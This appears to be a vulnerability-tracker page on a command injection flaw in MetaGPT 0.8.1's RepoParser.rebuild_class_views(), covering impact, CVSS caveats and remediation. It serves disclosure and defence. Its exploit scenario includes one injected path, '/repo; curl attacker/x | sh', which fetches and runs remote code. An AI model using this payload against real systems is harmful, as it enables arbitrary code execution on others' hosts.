EUVD-2026-68877
GHSA-w32p-36mf-mmvj
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify app passing untrusted path to MetaGPT
-
DeliveryCraft path with shell metacharacters
-
ExploitReach RepoParser.rebuild_class_views()
-
ExecutionShell interprets injected command
-
ImpactExecute arbitrary commands as MetaGPT process
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the attacker control (or influence) the value passed as the path argument to RepoParser.rebuild_class_views() in metagpt/repo_parser.py on a system running MetaGPT 0.8.1; the malicious path must contain shell metacharacters that reach the underlying shell invocation. What limits exploitation: this is a framework library call rather than a network-exposed endpoint, so remote unauthenticated reach depends on the embedding application forwarding untrusted input into this function - in a purely local/operator-driven use, the attacker already needs local input control. No user interaction beyond triggering the class-view rebuild is required, and no MetaGPT authentication layer is involved (it is a framework, not a service). |
| Impact | The published CVSS is 9.8 (AV:N/AC:L/PR:N/UI:N, C:H/I:H/A:H), which treats this as trivially remote and unauthenticated, but that rating should be read with caution: MetaGPT is a locally-run development/agent framework and rebuild_class_views() is a library function, so real remote-unauthenticated exposure only exists if an application built on MetaGPT feeds untrusted, attacker-controlled paths into it - otherwise the practical vector is local or requires an attacker to influence processed input. Corroborating signals are mixed: a public POC exists (raising practical exploitability), yet EPSS is low at 0.47% (39th percentile) and there is no CISA KEV listing, indicating no confirmed widespread active exploitation. No SSVC record was provided. Net assessment: a genuinely high-impact code-execution bug where it applies, but the '9.8 remote' framing likely overstates default-deployment risk - teams embedding MetaGPT in any service that accepts external input should treat it as urgent and verify how path reaches this function, while purely local/dev users face lower real-world risk. |
| Exploit ScenarioDerived | An application built on MetaGPT accepts a user- or repo-supplied path (for example, a repository location to analyze) and passes it to RepoParser.rebuild_class_views(). The attacker supplies a path containing shell metacharacters (e.g., '/repo; curl attacker/x | sh'), and when the parser builds its class views the injected command runs with the privileges of the MetaGPT process. A public POC write-up demonstrating the injection is available. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 01, 2026
OS command injection in MetaGPT 0.8.1 allows an attacker who controls the path argument of RepoParser.rebuild_class_views() (metagpt/repo_parser.py) to execute arbitrary shell commands on the host running the framework. MetaGPT is an open-source LLM multi-agent development framework, and this flaw lets attacker-influenced repository/path input break out into command execution. A public exploit write-up exists; the issue is not in CISA KEV and EPSS is low (~0.47%).
RemediationAI
No vendor-released patch version was identified at time of analysis, so the primary control is to eliminate untrusted input to RepoParser.rebuild_class_views(): ensure the path argument is never derived from external or attacker-controllable data, and validate/allowlist it against expected local filesystem paths before use. As a code-level compensating control, callers should avoid passing this value through a shell and prefer argument-list subprocess invocation (shell=False), rejecting any path containing shell metacharacters (;, |, &, $, backticks, spaces) - the trade-off is possible breakage for legitimately unusual path names. Monitor the MetaGPT GitHub repository and the referenced write-up (https://github.com/REYu6/Metagpt-vul/blob/main/CVE-1-MetaGPT-command-injection.md) for an upstream fix and upgrade once a patched release is published; pin/isolate MetaGPT execution in a low-privilege sandbox or container in the interim to limit blast radius.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
MetaGPT is a Python-based multi-agent LLM framework (from DeepWisdom) that automates software-engineering workflows; its RepoParser component inspects a code repository to rebuild class-view diagrams. The vulnerability is a classic CWE-78 OS Command Injection: the rebuild_class_views() function incorporates its path argument into a shell command (e.g., invoking an external tool) without proper sanitization or use of argument-safe subprocess invocation, so shell metacharacters in the path are interpreted by the shell. The CPE provided (cpe:2.3:a:n/a:n/a:*) is a placeholder and does not identify the real product; the affected software is MetaGPT.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MetaGPT is a locally-run framework and the path is typically supplied by the operator/host application, so AV:L and PR:L are realistic rather than AV:N/PR:N; command injection yields full C/I/A impact.
Primary rating from Vendor (mitre).
CVSS VectorVendor: mitre
Lifecycle Timeline
3DescriptionCVE.org
An OS command injection vulnerability in MetaGPT 0.8.1 allows an attacker to execute arbitrary commands via the path argument of RepoParser.rebuild_class_views() in metagpt/repo_parser.py.
Executive ViewAI
MetaGPT 0.8.1, an open-source LLM multi-agent development framework, contains a critical unauthenticated command injection vulnerability in its repository parsing logic that allows attackers to execute arbitrary shell commands. Organizations using MetaGPT for code generation, automation, or DevOps workflows face immediate risk of complete system compromise without a vendor patch.
Network segmentation: isolate MetaGPT instances to trusted internal networks and restrict outbound shell execution using OS controls (SELinux, AppArmor, or Windows Defender Application Control). Input validation: enforce strict allowlisting on repository path arguments and disable shell metacharacter interpretation at the application level. Process isolation: run MetaGPT service under a non-root/non-Administrator account with minimal required filesystem permissions and no shell access.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Exploit-DB